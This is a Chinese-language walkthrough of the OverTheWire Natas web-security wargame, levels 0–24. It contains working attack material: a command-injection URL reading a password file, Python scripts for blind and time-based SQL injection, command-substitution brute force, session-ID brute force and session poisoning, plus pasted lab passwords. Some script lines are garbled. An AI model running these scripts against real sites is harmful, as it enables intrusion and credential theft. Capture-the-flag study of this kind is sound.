第0关

image.png
在html代码中,右击获取就行
image.png

第1关

image.png
禁右键了,加上vview--soource
image.png

第2关

image.png
这里,说明files下有路径,查看可得
image.png
image.png

第3关

image.png
还是信息泄露
在 Web 开发中,如果你想告诉搜索引擎的爬虫(比如 Googlebot)不要去抓取网站的某些特定目录或文件,通常会在网站的根目录下放置一个特殊的文件。

image.png
image.png

第4关

referer伪造
image.png

第5关

cookie伪造
image.png

第6关

image.png
image.png

第7关

路径穿越
image.png
image.png

第8关

image.png

这里是先对密码进行base64加密,然后反转,最后转hex,所以
image.png

image.png

第9关

命令执行漏洞
PixPin_2026-04-20_13-44-58.png
http://natas9.natas.labs.overthewire.org/index.php?needle=%3B+cat%20/etc/natas_webpass/natas10+%22%22+%3B&submit=Search
image.png

第10关

image.png

这里其实还考察了php grep的多文件扫描机制

image.png

grep -i .* /etc/natas_webpass/natas11 dictionary.txt
这样一来,grep 就把这段命令解析成了:

  1. 要搜索的内容: .* (正则表达式,代表匹配任意字符)
  2. 搜索目标 1: /etc/natas_webpass/natas11 (我们真正想看的密码文件)
  3. 搜索目标 2: dictionary.txt (原本字典文件)

第11关

image.png

取出php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def; //mydata=defaultdata=array( "showpassword"=>"no", "bgcolor"=>"#ffffff")
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); //对coookie的data属性base64解码后异或且json解码
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {//tempdata=array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata); //$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>


<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

解得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php  
// 1. 从你的浏览器 F12 里把默认的 cookie 复制出来放到这里
$default_cookie_base64 = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg";

// 2. 解开 base64 得到真实的密文
$ciphertext = base64_decode($default_cookie_base64);

// 3. 我们已知的默认明文
$default_plaintext = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));

// 4. 第一步:明文 ^ 密文 = 找出 Key$key = "";
for($i=0; $i<strlen($ciphertext); $i++) {
$key .= $ciphertext[$i] ^ $default_plaintext[$i];
}
// 打印出来你会发现 key 是一串循环的字符,比如 qw8Jqw8J...// 我们只需要截取其中不重复的部分作为真正的 key 即可(比如 qw8J)
echo "".$key;
$real_key = "eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe"; // 请根据你实际跑出来的结果替换

// 5. 第二步:用真正的 key 加密我们想要的新明文
$new_plaintext = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$new_ciphertext = "";
for($i=0; $i<strlen($new_plaintext); $i++) {
$new_ciphertext .= $new_plaintext[$i] ^ $real_key[$i];
}

// 6. 最终的 Cookie 答案
echo "\n" . base64_encode($new_ciphertext);
?>

image.png

第12关

image.png
查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

这里就是信任前端隐藏字段绕过
image.png

image.png
image.png

第13关

看看代码
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

存在文件内容头检测绕过绕过
image.png
同理可得:
image.png

第14关

sql注入,万能钥匙
image.png

第15关

image.png
一开始还以为是联合注入,结果没注入点,果断换布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests

url = "http://natas15.natas.labs.overthewire.org/index.php"
# 【修正 1】修改为 Natas15 正确的回显特征
true_flag = "This user exists."
# 【修正 2】修改为 Natas15 正确的表单参数名
inject_param = "username"
# 你的认证信息
auth_info = ('natas15', 'SdqIqBsFcz3yotlNYErZSZwblkm0lrvx')

def get_password():
"""利用二分法获取 natas16 的密码"""
password = ""
# Natas 的密码固定为 32 位
for i in range(1, 33):
low = 48 # '0' 的 ASCII 码
high = 122 # 'z' 的 ASCII 码

while low <= high:
mid = (low + high) // 2

# 【修正 3】闭合双引号,目标改为 password 字段,注释符用 #
payload = f'natas16" and ascii(substring(password,{i},1))>{mid} #'

data = {
inject_param: payload
}

# 发送 POST 请求并带上认证
res = requests.post(url, data=data, auth=auth_info)

if true_flag in res.text:
# 页面正常,说明 ASCII 码大于 mid,区间右移
low = mid + 1
else:
# 页面异常,说明 ASCII 码小于等于 mid,区间左移
high = mid - 1

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"\n[+] 最终拿到的 Natas16 密码为: {password}")

if __name__ == "__main__":
get_password()

image.png

第16关

触及知识盲区了,记录下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?  
$key = "";

if(array_key_exists("needle", $_REQUEST)) {    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

这里涉及到Linux的特性,就是对命令替换的绕过

这里需要爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests  
import re

url = "http://natas16.natas.labs.overthewire.org/index.php"

# 测试词,就用 appletest_word = "apple"
auth_info = ('natas16', 'hPkjKYviLQctEW33QmuXL6eDVfMW4sGo')
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

print("[*] 开始利用 grep 命令盲注爆破 Natas 17 密码...")

password = ""
while len(password) < 32:
found_char = False

for char in charset:
print(f"[*] 正在尝试: {password}{char}", end='\r')

payload = f"{test_word}$(grep ^{password}{char} /etc/natas_webpass/natas17)"
params = {'needle': payload}

try:
res = requests.get(url, params=params, auth=auth_info)
except Exception as e:
print(f"\n[!] 网络请求报错: {e}")
exit()


# 【核心修改】精准提取 <pre> 标签内的内容
# 使用正则,re.DOTALL 表示让 . 也能匹配换行符
match = re.search(r'<pre>(.*?)</pre>', res.text, re.DOTALL)

if match:
# 获取 <pre> 里面的纯文本结果
pre_content = match.group(1).strip()

# 如果结果是空的(即啥也没搜出来),说明我们子命令执行成功,干扰了外层 grep # 这就意味着我们猜对了当前的字符!
if pre_content == "":
password += char
print(f"\n[+] 发现字符!当前进度: {password}")
found_char = True
break else:
print("\n[!] 警告:没有找到 <pre> 标签,网页结构可能变了?")
exit()

if not found_char:
print("\n[!] 跑完了一整圈,没有匹配到任何字符!这不应该发生。")
break

print(f"\n[+] 爆破完成!Natas 17 的最终密码为: {password}")

第17关

image.png

此关对于所有报错都注销了,意味着我们只能通过时间注入来获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests  
import time

url = "http://natas17.natas.labs.overthewire.org/index.php"
# 请替换为你实际拥有的 natas17 密码
myauth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time_threshold = 3 # 3秒通常就足够了,可以节省时间


def get_password_by_time(length=32):
password = ""
# 密码由字母和数字组成,无需从 32 (空格) 开始,从 48 ('0') 开始即可
for i in range(1, length + 1):
low = 48
high = 122

while low <= high:
mid = (low + high) // 2

# 使用双引号闭合,使用 # 注释,查询 password 字段
payload = f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1))>{mid}, SLEEP({time_threshold}), 0) #'

mydata = {
"username": payload
}

try:
start_time = time.time()
# 设置 timeout 大于 time_threshold,防止被 requests 提前掐断
requests.post(url, data=mydata, auth=myauth, timeout=10)
end_time = time.time()

if end_time - start_time >= time_threshold:
low = mid + 1
else:
high = mid - 1

except requests.exceptions.Timeout:
# 触发 timeout 说明 sleep 执行了
low = mid + 1
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求发生错误: {e}")
break

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"[+] natas18 的最终密码为: {password}")


if __name__ == "__main__":
get_password_by_time(length=32)

image.png
爆了好几次不对,用ai加了一个防抖包机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests  
import time

url = "http://natas17.natas.labs.overthewire.org/index.php"
# 【重要】请务必将下方替换为你自己持有的正确 natas17 密码
myauth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
time_threshold = 5 # 增加延迟阈值以对抗服务器波动


def test_payload(payload):
"""
发送 payload 并测试是否发生延时。
返回 True 表示发生延时(或超时),False 表示未延时。
""" mydata = {"username": payload}
try:
start_time = time.time()
# timeout 设置必须比 time_threshold 大不少,防止 requests 过早掐断连接
requests.post(url, data=mydata, auth=myauth, timeout=12)
return (time.time() - start_time) >= time_threshold
except requests.exceptions.Timeout:
# 如果请求直接触发了 timeout,说明服务器挂起了很久,视为条件为真
return True
except requests.exceptions.RequestException as e:
print(f"\n[-] 请求异常: {e}")
return False


def get_password_by_time_robust(length=32):
password = ""
print("[*] 开始执行基于时间盲注的爆破 (附带网络防抖机制)...")

for i in range(1, length + 1):
low = 48 # '0' 的 ASCII high = 122 # 'z' 的 ASCII
while low <= high:
mid = (low + high) // 2
payload = f'natas18" AND IF(ASCII(SUBSTRING(password,{i},1))>{mid}, SLEEP({time_threshold}), 0) #'

# 第一次测试
is_delayed = test_payload(payload)

# 核心防误判逻辑:如果发生了延时,再测一次进行确认!
if is_delayed:
print(f" [~] 字符位置 {i} (mid={mid}) 疑似延时,进行二次确认...")
time.sleep(0.5) # 稍微停顿,减轻 OTW 服务器压力
is_delayed_again = test_payload(payload)

if is_delayed_again:
# 两次都延时,确认是 True low = mid + 1
else:
# 第二次没延时,说明第一次纯属网络波动,判定为 False print(" [!] 判定为网络卡顿,已自动纠正。")
high = mid - 1
else:
# 没有延时,直接判定为 False high = mid - 1

password += chr(low)
print(f"[*] 当前爆破进度: {password}")

print(f"\n[+] natas18 的最终密码为: {password}")


if __name__ == "__main__":
get_password_by_time_robust()

第18关

会话劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<html>  
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */    if($_REQUEST["username"] == "admin") {    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {        debug("Session start failed");
        return false;
    } else {        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {        debug("Session was old: admin flag set");        $_SESSION["admin"] = 0; // backwards compatible, secure        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {    print_credentials();    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {    session_id(createID($_REQUEST["username"]));    session_start();    $_SESSION["admin"] = isValidAdminLogin();    debug("New session started");    $showform = false;    print_credentials();
    }
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

这里的正常登录被锁死了

1
2
3
4
5
6
7
8
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}

所以需要对session进行爆破,其中$maxid = 640表明最多需要爆640次就行
解出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests  

url = "http://natas18.natas.labs.overthewire.org/index.php"
myauth = ("natas18", "6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ")


def exploit():
# 注意这里是 641,这样才能包含 640 for i in range(1, 641):

# 最好将数字转成字符串传给 cookies 字典
mycookie = {"PHPSESSID": str(i)}

# 发送带上伪造 Cookie 的请求
r = requests.get(url, auth=myauth, cookies=mycookie)

# 直接在整个网页源码 (r.text) 中寻找关键字
# 因为只有用管理员 session 登录,才会显示 "Password:" 或 "natas19" if "Password:" in r.text:
print(f"\n\n[+] 成功!找到了正确的 Session ID: {i}")

# 为了方便,我们可以直接把包含密码的那部分文字切出来,或者直接打印结果
# 简单粗暴点,我们直接找 "Password: " 后面的内容
password_start = r.text.find("Password: ") + len("Password: ")
password_end = r.text.find("</pre>", password_start)
password = r.text[password_start:password_end]

print(f"[+] Natas19 的密码是: {password}")

# 找到就跳出循环,没必要继续跑到 640 break


if __name__ == "__main__":
exploit()

PixPin_2026-04-21_14-09-20.png

第19关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "<censored>" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
<?php

$maxid = 640; // 640 should be enough for everyone

function myhex2bin($h) { /* {{{ */
if (!is_string($h)) return null;
$r='';
for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h[$a].$h[($a+1)])); }
return $r;
}
/* }}} */
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}

return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
// must be lowercase
if($id != strtolower($id)) {
return false;
}

// must decode
$decoded = myhex2bin($id);

// must contain a number and a username
if(preg_match('/^(?P<id>\d+)-(?P<name>\w+)$/', $decoded, $matches)) {
return true;
}

return false;
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
$idnum = rand(1, $maxid);
$idstr = "$idnum-$user";
return bin2hex($idstr);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}

return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas20\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.";
}
}
/* }}} */

$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas20.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
</div>
</body>
</html>

跟前面的差不多,就是加了一个hex编码和admin后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests  

url = "http://natas19.natas.labs.overthewire.org/index.php"
# 请换成你实际过关拿到的 natas19 密码
myauth = ("natas19", "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr")


def exploit():
for i in range(1, 641):
# 1. 构造出明文格式:数字-admin
plain_session = f"{i}-admin"

# 2. 将其转换为十六进制形式 (等同于 PHP 的 bin2hex) hex_session = plain_session.encode('utf-8').hex()

print(f"[*] 正在尝试: {plain_session} -> {hex_session}", end="\r")

mycookie = {"PHPSESSID": hex_session}

r = requests.get(url, auth=myauth, cookies=mycookie)

if "Password:" in r.text:
print(f"\n\n[+] 成功!找到了管理员 Session: {hex_session}")

password_start = r.text.find("Password: ") + len("Password: ")
password_end = r.text.find("</pre>", password_start)
password = r.text[password_start:password_end]

print(f"[+] Natas20 的密码是: {password}")
break


if __name__ == "__main__":
exploit()

解出来
PixPin_2026-04-21_14-26-04.png

第20关

session文件污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "http://natas20.natas.labs.overthewire.org/index.php"
# 换成你的 natas20 密码
myauth = ("natas20", "你的natas20密码")

# 第一步:发送恶意 Payload,利用 %0A (URL编码的换行符) 进行注入
# payload 内容为: test\nadmin 1
payload = {"name": "test\nadmin 1"}

# 这里需要创建一个 session 对象,用来保持两次请求使用的是同一个 PHPSESSID
s = requests.Session()
s.auth = myauth

print("[*] 正在发送毒化 Payload...")
# 第一次发 POST 请求,写入恶意的 Session 数据
s.post(url, data=payload)

print("[*] 正在重新加载页面以触发毒化数据...")
# 第二次发 GET 请求,此时服务器会执行 myread 读取被毒化的数据,判断你是 admin
r = s.get(url)

if "natas21" in r.text:
print("[+] 攻击成功!")
# 提取密码的代码
password_start = r.text.find("Password: ") + len("Password: ")
password_end = r.text.find("</pre>", password_start)
print(f"[+] Natas21 的密码是: {r.text[password_start:password_end]}")
else:
print("[-] 失败了,请检查代码。")

PixPin_2026-04-21_14-32-39.png

第21关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests  

url_write = "http://natas21-experimenter.natas.labs.overthewire.org/"
url_read = "http://natas21.natas.labs.overthewire.org/"
myauth = ("natas21", "BPhv63cKE1lkQl04cE5CuFTzXe15NfiH")

payload = {
"admin": "1",
"submit": "Update"
}

print("[*] 1. 正在向实验站投毒...")
# 发送普通的 POST 请求
r_write = requests.post(url_write, auth=myauth, data=payload)

# 【核心修复点】:手动从响应中提取出实验站发给我们的 PHPSESSIDpoisoned_cookies = r_write.cookies.get_dict()
print(f"[*] 拿到包含恶意数据的 Cookie: {poisoned_cookies}")

print("[*] 2. 正在拿着这把钥匙去开主站的门...")
# 发送 GET 请求时,【强制】带上我们刚才截获的 Cookier_read = requests.get(url_read, auth=myauth, cookies=poisoned_cookies)

if "natas22" in r_read.text:
print("[+] 攻击成功!")
password_start = r_read.text.find("Password: ") + len("Password: ")
password_end = r_read.text.find("</pre>", password_start)
print(f"[+] Natas22 的密码是: {r_read.text[password_start:password_end]}")
else:
print("[-] 还是失败了,可以看看 r_read.text 到底返回了什么。")

第22关

image.png
很简单,就是检查get参数

第23关

弱类型比较
构造11111iloveyou就可以

第24关

内置函数参数漏洞
image.png

第25关